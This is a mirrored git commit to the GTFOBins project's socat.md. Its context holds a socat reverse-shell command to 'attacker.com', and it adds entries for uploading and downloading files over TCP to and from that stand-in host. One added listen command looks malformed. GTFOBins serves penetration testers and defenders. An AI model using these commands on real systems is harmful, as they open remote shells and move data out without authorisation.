mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Update socat.md
This commit is contained in:
		
				
					committed by
					
						
						Andrea Cardaci
					
				
			
			
				
	
			
			
			
						parent
						
							89b1753a0d
						
					
				
				
					commit
					1f6d44f7a0
				
			@@ -23,4 +23,16 @@ functions:
 | 
			
		||||
        RHOST=attacker.com
 | 
			
		||||
        RPORT=12345
 | 
			
		||||
        ./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
 | 
			
		||||
  upload:
 | 
			
		||||
    - description: Run ``socat -u file:path tcp:ip:12345`` on the attacker box to send a file to your box.
 | 
			
		||||
      code: |
 | 
			
		||||
        RHOST=attacker.com
 | 
			
		||||
        RPORT=12345
 | 
			
		||||
        ./socat tcp-connect:$RHOST:$RPORT file:path
 | 
			
		||||
  download:
 | 
			
		||||
    - description: Run ``socat -u TCP-LISTEN:12345,reuseaddr OPEN:path,creat`` on your box to receive a file from attacker box.
 | 
			
		||||
      code: |
 | 
			
		||||
        RHOST=attacker.com
 | 
			
		||||
        RPORT=12345
 | 
			
		||||
        ./socat tcp-listen:$RHOST:$RPORT,reuseaddr OPEN:path,creat
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user